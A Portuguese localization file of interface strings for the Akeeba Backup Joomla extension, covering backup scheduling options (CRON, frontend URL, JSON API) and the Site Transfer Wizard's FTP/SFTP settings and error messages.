COM_AKEEBABACKUP_SCHEDULE="Agendar Cópias de Segurança Automáticas"

COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER="Tarefas Agendadas do Joomla"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO="Pode criar tarefas de cópia de segurança usando a funcionalidade Tarefas Agendadas do Joomla. Por favor leia primeiro a documentação para compreender os compromissos e potenciais problemas dependendo da forma como escolhe acionar as Tarefas Agendadas do Joomla."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON="Gerir as suas Tarefas Agendadas"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD="As Tarefas Agendadas só estão disponíveis no Joomla 4.1 e posterior"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY="O Joomla introduziu a funcionalidade Tarefas Agendadas na versão 4.1.0 do Joomla!. Por favor atualize o seu sítio para a versão mais recente do Joomla para obter acesso às Tarefas Agendadas."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD="O plugin “Task – Akeeba Backup” está desativado."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY="O plugin “Task – Akeeba Backup” tem de estar ativado para que as Tarefas Agendadas do Joomla saibam como executar cópias de segurança com o Akeeba Backup. Por favor vá a Sistema, Gerir, Plugins e ative o plugin. Em alternativa, clique no botão seguinte para editar diretamente o plugin."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON="Editar o plugin"

COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON="Tarefas CRON de Linha de Comandos alternativas"
COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO="Este método é recomendado apenas se a tarefa CRON de Linha de Comandos regular não for concluída. Apesar de ser executada através da aplicação de consola do Joomla, passará pela aplicação web do Joomla — usando o método de cópia de segurança no frontend do Akeeba Backup — o que a torna mais lenta do que o método CLI nativo."
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO="<p>Quando uma cópia de segurança agendada falha, normalmente significa que o PHP parou de funcionar antes de a cópia de segurança estar completa. Portanto, o Akeeba Backup não o pode notificar da falha da cópia de segurança da mesma forma que o notifica quando a cópia de segurança termina com sucesso ou com avisos.</p><p>Para resolver esse problema, pode agendar as verificações de cópia de segurança mais recentes para serem executadas após o fim esperado da execução da sua cópia de segurança. Não sabe quando seria isso? Idealmente, deveria ser a duração da última cópia de segurança bem-sucedida registada na página Gerir Cópias de Segurança mais meia hora.</p><p>Pode agendar esta verificação com muitos métodos diferentes, tal como a própria cópia de segurança. Abaixo encontrará mais informações sobre cada método de agendamento disponível para verificações de cópia de segurança. Se não tem a certeza de qual usar, recomendamos que use o mesmo método de agendamento das suas cópias de segurança.</p>"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS="Verificar Estado da Cópia de Segurança"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON="Tarefas CRON de Linha de Comandos (recomendado)"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO="Este é o método recomendado para todos os servidores que suportam tarefas CRON de linha de comandos. Este método usa a aplicação de consola (CLI) do Joomla — em vez da aplicação web do Joomla! — alcançando a máxima velocidade de cópia de segurança."
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO="Importante"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO="Lembre-se de substituir <em>%s</em> pelo caminho real para o executável PHP <strong>CLI (Command Line Interface)</strong> do seu alojamento. Lembre-se de que tem de usar o executável PHP CLI; o executável PHP CGI (Common Gateway Interface) <em>não</em> funcionará com a aplicação CLI do Joomla. Se não tem a certeza do que isto significa, por favor consulte o seu alojamento. São as únicas pessoas que podem fornecer esta informação."
COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO="O Akeeba Backup detetou que o caminho <em>mais provável</em> para o PHP CLI é <code>%s</code> e usou-o na linha de comandos apresentada acima. Se isto não funcionar, por favor substitua <code>%1$s</code> pelo caminho real para o executável PHP <strong>CLI (Command Line Interface)</strong> do seu alojamento. Esta é uma informação que o seu alojamento poderá fornecer."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP="Funcionalidade de Cópia de Segurança no Frontend"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO="Este método usa um URL público e uma chave secreta para acionar uma cópia de segurança do seu sítio. A cópia de segurança progride por meio de redirecionamentos HTTP. Por favor note que a maioria das tarefas ‘CRON’ baseadas em URL dos alojamentos, bem como a maioria dos serviços CRON baseados em URL de terceiros, não suportam redirecionamentos HTTP. Se os exemplos com wget e curl abaixo não funcionarem para si, por favor use o URL de cópia de segurança no frontend com o serviço de terceiros muito económico webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS="A funcionalidade de cópia de segurança no frontend pode ser usada com uma grande variedade de métodos. Clique nos separadores abaixo para ver a descrição de cada método. Lembre-se de que todos eles são explicados em detalhe na nossa documentação."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL="cURL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT="Script PHP"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL="URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON="WebCron.org"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET="WGet"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK="Funcionalidade de Verificação de Cópia de Segurança no Frontend"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL="Agendamento CRON usando curl (macOS, Linux, alguns alojamentos):"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT="Script PHP personalizado para executar a cópia de segurança no frontend:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_DISABLED="A funcionalidade de cópia de segurança no frontend do Akeeba Backup não está ativada. Não pode usar este método de agendamento a menos que a ative. Por favor vá ao Painel de Controlo do Akeeba Backup, clique no botão Opções na barra de ferramentas e ative a funcionalidade de cópia de segurança no frontend. Não se esqueça de também especificar uma palavra secreta à sua escolha."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL="URL para uso com os seus próprios scripts e serviços de terceiros:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET="A chave secreta da funcionalidade de cópia de segurança no frontend está vazia. Não pode usar este método de agendamento a menos que crie uma chave secreta. Por favor vá ao Painel de Controlo do Akeeba Backup, clique no botão Opções na barra de ferramentas e introduza uma chave secreta à sua escolha."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON="Configuração de uma tarefa de cópia de segurança com o WebCron.org:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS="Alertas"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO="Se já configurou métodos de alerta na interface do webcron.org, recomendamos escolher um método de alerta aqui e não marcar 'Apenas em caso de erro' para que receba sempre uma notificação quando a tarefa CRON de cópia de segurança é executada."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME="Tempo de execução"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO="É a grelha abaixo das outras opções. Selecione quando e com que frequência pretende que a sua tarefa CRON seja executada."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO="Inicie sessão no webcron.org. Na área CRON, clique no botão New Cron. Abaixo encontrará o que tem de introduzir na interface do webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN="Início de sessão"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO="Deixe isto em branco"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME="Nome da tarefa CRON"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO="O que quiser, por exemplo <em>Cópia de segurança do meu sítio</em>"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD="Palavra-passe"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT="Por fim, clique no botão Submit para terminar a configuração da sua tarefa CRON."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT="Tempo limite"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO="180seg; se a cópia de segurança não for concluída, aumente-o. A maioria dos sítios funcionará com uma definição de 180 ou 600 aqui. Se tiver um sítio muito grande que demora mais de 5 minutos a fazer a cópia de segurança de si próprio, poderá considerar usar o Akeeba Backup Professional e a tarefa CRON CLI nativa em vez disso, pois é muito mais económico."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL="URL que pretende executar"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET="Agendamento CRON usando wget (a maioria dos alojamentos, a maioria das distribuições Linux):"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC="Leia a documentação"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI="Use o seguinte comando na interface CRON do seu alojamento:"
COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO="O Akeeba Backup oferece vários métodos de agendamento. Encontrará mais informações sobre cada método de agendamento abaixo. Por favor leia a documentação de cada método de agendamento. Responderá a muitas das suas perguntas e ajudá-lo-á a agendar as suas cópias de segurança mais facilmente."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP="Funcionalidade de Cópia de Segurança Remota (JSON API)"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO="Pode usar este método para realizar cópias de segurança do seu sítio remotamente usando o nosso software que suporta tal funcionalidade (por exemplo, Akeeba Remote CLI e Akeeba UNiTE)."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED="Por favor vá ao Akeeba Backup, clique em Opções, depois no separador Frontend. Defina “Ativar JSON API (cópia de segurança remota)” como Sim para ativar esta funcionalidade."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI="Akeeba Remote CLI"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO="Pode usar a aplicação de linha de comandos Akeeba Remote CLI para realizar cópias de segurança dos seus sítios remotamente. Pode agendar estes comandos no seu computador, ou noutro servidor, para automatizar as suas cópias de segurança."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER="Para realizar uma cópia de segurança usando o Akeeba Remote CLI através de <strong>Docker</strong>, execute o seguinte comando:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR="Para realizar uma cópia de segurança usando o Akeeba Remote CLI através do <strong>arquivo PHAR</strong> que pode transferir do nosso sítio, execute o seguinte comando:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER="Outras ferramentas"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO="Se estiver a usar o Akeeba UNiTE, ou outro software que usa a Remote JSON API, terá de fornecer a seguinte informação."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT="URL do Endpoint"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET="Chave Secreta"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER="A Akeeba Ltd não endossa, aceita responsabilidade, nem fornece suporte para software ou serviços de terceiros que interagem com o Akeeba Backup através da JSON API. Forneceremos suporte para a realização de cópias de segurança com a Akeeba JSON API apenas se a Chave Secreta for gerada automaticamente pelo nosso software e o pedido disser respeito ao uso do nosso próprio software cliente da Akeeba JSON API (por exemplo, Akeeba Remote CLI)."
COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED="Por favor vá ao Akeeba Backup, clique em Opções, depois no separador Frontend. Defina “Ativar API Legada de Cópia de Segurança no Frontend (tarefas CRON remotas)” como Sim para ativar esta funcionalidade."
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI="Ativar a API Legada de Cópia de Segurança no Frontend"
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI="Ativar a Akeeba JSON API"
COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD="Repor a Chave Secreta"
COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS="Executar Cópias de Segurança"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADENOW="Atualizar Agora"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADETOPRO="Esta funcionalidade só está disponível no Akeeba Backup Professional"
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD="O plugin <em>Console – Akeeba Backup</em> está desativado."
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY="Por favor vá a Sistema, Gerir, Plugins e ative o “Console – Akeeba Backup”. É necessário para que esta funcionalidade funcione."

COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS="Verificar Envios de Cópias de Segurança"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO="<p>Quando uma cópia de segurança não consegue enviar a cópia de segurança para o seu armazenamento remoto configurado, normalmente não é considerado uma falha da cópia de segurança (a menos que tenha selecionado explicitamente tratá-lo como uma falha). Isto porque o arquivo de cópia de segurança ainda existe no seu servidor. No entanto, precisa de voltar ao seu sítio e tentar novamente o envio a partir da página Gerir Cópias de Segurança – talvez também corrigir quaisquer problemas de ligação com o armazenamento remoto.</p></p>O problema típico com isso é que poderá não saber que o envio falhou. É aqui que a verificação de envios de cópias de segurança entra em jogo. Agende-a para ser executada depois de as suas cópias de segurança agendadas normalmente terminarem, e enviar-lhe-á um e-mail se qualquer uma das suas cópias de segurança realizadas desde a última vez que a verificação foi executada não tiver conseguido enviar para o seu armazenamento remoto configurado.</p><p>Pode agendar esta verificação com muitos métodos diferentes, tal como a própria cópia de segurança. Abaixo encontrará mais informações sobre cada método de agendamento disponível para verificações de envios de cópias de segurança. Se não tem a certeza de qual usar, recomendamos que use o mesmo método de agendamento das suas cópias de segurança.</p>"


COM_AKEEBABACKUP_TITLE_ALICES="Resolução de problemas - ALICE"

COM_AKEEBABACKUP_TRANSFER="Assistente de Transferência de Sítio"
COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED="Prosseguir com a restauração"
COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART="Executar o Kickstart"
COM_AKEEBABACKUP_TRANSFER_BTN_RESET="Repor"
COM_AKEEBABACKUP_TRANSFER_DESC="Transfere o arquivo executando o motor de pós-processamento \"%s\" sobre o arquivo."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE="O Akeeba Backup não consegue verificar se a informação de ligação que introduziu corresponde ao URL do sítio que introduziu. Se estiver a tentar restaurar dentro de um subdiretório de um sítio existente, isto significa que o sítio principal está a bloquear o acesso ao subdiretório; por favor contacte o administrador do seu sítio. Em qualquer outro caso, introduziu a informação de ligação errada, muito provavelmente um diretório errado. Por favor contacte o seu alojamento e peça-lhes a informação de ligação correta, <em>incluindo o diretório</em>, que corresponde ao URL que introduziu neste assistente. Depois volte aqui, introduza a informação correta e continue com a restauração."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE="O Akeeba Backup não consegue ler do ficheiro de cópia de segurança local <code>%s</code>. Este assistente falhou. Por favor realize uma nova cópia de segurança e tente novamente. Note que ficaram ficheiros no seu novo servidor; poderá querer removê-los manualmente."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART="O Akeeba Backup não consegue executar o Akeeba Kickstart no seu novo sítio. Se estiver a tentar restaurar dentro de um subdiretório de um sítio existente, isto significa que o sítio principal está a bloquear o acesso ao subdiretório; por favor contacte o administrador do seu sítio. Em qualquer outro caso, precisa de contactar o seu alojamento e verificar se a sua versão predefinida do PHP corresponde aos requisitos mínimos do Kickstart."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE="O Akeeba Backup não consegue enviar o ficheiro de cópia de segurança <code>%s</code>. É possível que o servidor do seu novo sítio tenha ficado sem espaço em disco ou que uma proteção do servidor esteja a bloquear a transmissão dos dados. Por favor tente transferir o seu sítio selecionando a opção Transferir manualmente. Note que ficaram ficheiros no seu novo servidor; poderá querer removê-los manualmente."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART="O Akeeba Backup não consegue enviar o Akeeba Kickstart para a raiz do seu novo sítio. Por favor verifique se introduziu a informação de ligação correta e se é possível ao utilizador FTP/SFTP escrever ficheiros no diretório que selecionou. Se já tiver kickstart.php e kickstart.transfer.php no sítio remoto, por favor remova-os antes de tentar transferir novamente o seu sítio."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP="O Akeeba Backup não consegue enviar um bloco do seu arquivo de cópia de segurança do ficheiro local <code>%s</code> para o ficheiro remoto <code>%s</code>. Por favor verifique se o seu servidor remoto permite o envio de ficheiros e se há espaço em disco suficiente nele para o(s) ficheiro(s) de arquivo da sua cópia de segurança."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE="O Akeeba Backup não consegue enviar um ficheiro de teste chamado <code>%s</code> para a raiz do seu novo sítio. Por favor verifique se introduziu a informação de ligação correta e se é possível ao utilizador FTP/SFTP escrever ficheiros no diretório que selecionou."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES="Infelizmente, o Akeeba Backup determinou que não consegue escrever diretamente nos ficheiros do seu servidor remoto. Este assistente não pode prosseguir. Terá de usar o método de transferência \"Manualmente\"."
COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK="Não é possível criar um ficheiro temporário neste servidor. Por favor verifique se o seu diretório temporário está corretamente configurado e tem permissão de escrita pelo utilizador sob o qual o servidor web está atualmente a correr."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP="Não foi encontrada tal cópia de segurança. Clique no botão Fazer Cópia de Segurança Agora para realizar uma nova cópia de segurança agora."
COM_AKEEBABACKUP_TRANSFER_ERR_DNS="O nome de domínio do URL que introduziu (%s) não pode ser resolvido a partir do servidor onde o Akeeba Backup está a correr. Se registou ou transferiu recentemente o nome de domínio, por favor aguarde mais tempo até que os servidores DNS sejam atualizados (normalmente 6 a 48 horas). Caso contrário, por favor verifique as definições DNS do seu nome de domínio."
COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE="O Akeeba Backup recebeu um erro do servidor remoto ao tentar enviar o arquivo de cópia de segurança. O erro foi: %s"
COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE="Já existe outro sítio nessa localização. Por favor remova o sítio existente antes de transferir um novo sítio para lá. Tentar substituir um sítio existente resultará muito provavelmente num sítio danificado que não conseguirá reparar."
COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS="Foi encontrado um ficheiro <code>%s</code> na raiz do seu novo sítio. Este ficheiro pode interferir com o processo de transferência do sítio. Por favor remova-o antes de prosseguir com a transferência do sítio. Por favor note que o ficheiro pode estar <em>oculto</em>. Se não vir este ficheiro no navegador de ficheiros do painel de controlo do seu alojamento ou no software cliente FTP, por favor peça mais informações ao seu alojamento sobre como remover este ficheiro."
COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID="Erro interno: o ID da cópia de segurança a enviar é inválido ou está em falta."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN="Verificar"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR="Pretendo ignorar este aviso e prosseguir <strong>por minha conta e risco</strong>"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID="O URL que introduziu é inválido."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS="O seu servidor não consegue aceder ao URL que introduziu. Por favor verifique se o escreveu corretamente. Note também que nomes de domínio recém-atribuídos ou transferidos podem demorar <strong>até 48 horas</strong> antes de serem visíveis para todos os servidores e computadores ligados à Internet."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME="O URL que introduziu é o mesmo daquele a partir do qual está a restaurar. Isto não é suportado por este assistente. Para a restauração de cópias de segurança sem usar o assistente, por favor consulte o nosso tutorial em vídeo seguindo a ligação abaixo."
COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE="A transferência do sítio não pode prosseguir. Precisa de aproximadamente %s de espaço livre mas o seu servidor reporta que apenas %s está atualmente disponível. Por favor liberte mais espaço no seu servidor."
COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE="Ignorar os erros detetados e transferir o sítio de qualquer forma"
COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE="Introduziu a informação de ligação ao sítio a partir do qual está a transferir. <strong>O seu erro teria eliminado o seu próprio sítio</strong>. Precisa de introduzir a informação de ligação FTP/SFTP ao sítio <strong>para</strong> o qual está a transferir (novo sítio ou novo servidor). Por favor corrija a informação acima e tente novamente."
COM_AKEEBABACKUP_TRANSFER_ERR_SPACE="Tem apenas <span></span> de espaço livre. Precisa de mais espaço livre para transferir o seu sítio. Por favor contacte o seu alojamento."
COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL="O seu sítio tem um certificado SSL inválido ou autoassinado. Por razões de segurança, a transferência do sítio não pode prosseguir. Por favor clique em Repor para reiniciar a transferência do sítio e use um URL sem <code>https://</code>. Isto é necessário quando está a tentar transferir o seu sítio antes de transferir o seu nome de domínio para o novo alojamento. Em alternativa, por favor contacte o seu alojamento para obter um certificado SSL válido. Mesmo um gratuito emitido através da autoridade de certificação Let's Encrypt sem custos serve."
COM_AKEEBABACKUP_TRANSFER_FORCE_BODY="Está a executar o Assistente de Transferência de Sítio em Modo Forçado. Isto significa que algumas verificações de sanidade que normalmente são executadas antes da transferência do sítio não serão executadas. Como resultado, a transferência pode substituir um sítio existente, terminar num URL diferente do que esperava ou simplesmente falhar. <strong>Esta é uma funcionalidade para utilizadores avançados. Por favor não continue se não se sentir confortável com ela.</strong>"
COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER="Modo Forçado ativado"
COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER="Transferência manual"
COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES="Pré-requisitos"
COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION="Ligação ao Novo Sítio"
COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD="Enviar e restaurar"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE="Tamanho do bloco"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO="Os ficheiros de arquivo da cópia de segurança são transferidos em pequenos blocos para o servidor remoto. Isto determina o tamanho destes blocos. Tamanhos demasiado pequenos podem fazer com que o servidor remoto o bloqueie, confundindo-o com um abusador, causando a apresentação de um erro de envio. Tamanhos demasiado grandes podem resultar num erro de tempo limite no servidor de origem ou no remoto, causando a apresentação de um Erro AJAX. Normalmente, valores entre 5M e 20M funcionam melhor."
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP="Uma cópia de segurança completa e total do sítio"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO="Cópia de segurança encontrada; realizada em %s"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY="Diretório FTP/SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST="Nome do host"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE="Modo passivo"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD="Palavra-passe"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT="Porta"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY="Ficheiro de Chave Privada SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY="Ficheiro de Chave Pública SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME="Nome de utilizador"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO="Siga as instruções no vídeo para transferir o seu sítio manualmente. A informação sobre o arquivo de cópia de segurança pode ser encontrada abaixo da ligação do vídeo (role para baixo)."
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK="Ver o tutorial em vídeo"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART="Tem de transferir <strong>todos</strong> os %u ficheiros:"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL="O URL para o seu novo sítio"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP="Introduza o URL para o sítio para o qual está a restaurar"
COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO="O Kickstart permitir-lhe-á extrair o arquivo de cópia de segurança e iniciar a restauração no servidor remoto."
COM_AKEEBABACKUP_TRANSFER_LBL_SPACE="Aproximadamente %s de espaço livre no seu novo sítio"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD="Método de transferência de ficheiros"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTP="FTP, funções nativas do PHP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPCURL="FTP, usando cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPS="FTPS, funções nativas do PHP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPSCURL="FTPS, usando cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY="Manualmente"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTP="SFTP, extensão SSH2 nativa do PHP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTPCURL="SFTP, usando cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE="Modo de transferência do arquivo"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED="Por FTP / SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO="Os ficheiros de arquivo da cópia de segurança são transferidos em pequenos blocos para o servidor remoto e depois montados em ficheiros inteiros aí. Esta opção controla como estes pequenos blocos são transferidos."
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST="Por HTTP / HTTPS"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP="A enviar o arquivo de cópia de segurança"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART="A enviar o Kickstart"
COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING="A validar…"
COM_AKEEBABACKUP_TRANSFER_MSG_DONE="O envio está completo!"
COM_AKEEBABACKUP_TRANSFER_MSG_FAILED="O envio do arquivo de cópia de segurança falhou."
COM_AKEEBABACKUP_TRANSFER_MSG_START="A preparar o envio do seu arquivo. Isto demorará algum tempo. Por favor aguarde."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG="A continuar o envio da parte %s de %s do arquivo. A processar atualmente o bloco %s. Por favor aguarde."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART="A enviar a parte %s de %s do arquivo. Por favor aguarde."
COM_AKEEBABACKUP_TRANSFER_TITLE="Transferir Arquivo"
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY="Alguns dos métodos de transferência listados acima e marcados com &#128274; estão bloqueados por uma firewall no seu servidor. Se os usar, este assistente falhará muito provavelmente. Por favor contacte o seu alojamento e peça-lhes para desativar a firewall ou adicionar exceções à firewall antes de transferir o seu sítio. Em alternativa, por favor selecione Manualmente acima, clique em Prosseguir com a restauração e siga as instruções para uma transferência manual do sítio."
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD="Firewall do servidor a bloquear transferências de ficheiros - ESTE ASSISTENTE PODE FALHAR"

COM_AKEEBABACKUP_FILTER_SELECT_FROZEN="– Congelado –"
COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID="– Perfil de Cópia de Segurança –"

COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE="Não é possível carregar o motor do Akeeba Backup."

COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML="Não é possível gerar YAML"
COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND="A sua instalação do PHP não tem a extensão PHP YAML instalada ou ativada."
COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS="Não foi possível remover as restrições de limite de tempo; pode obter um erro de tempo limite."
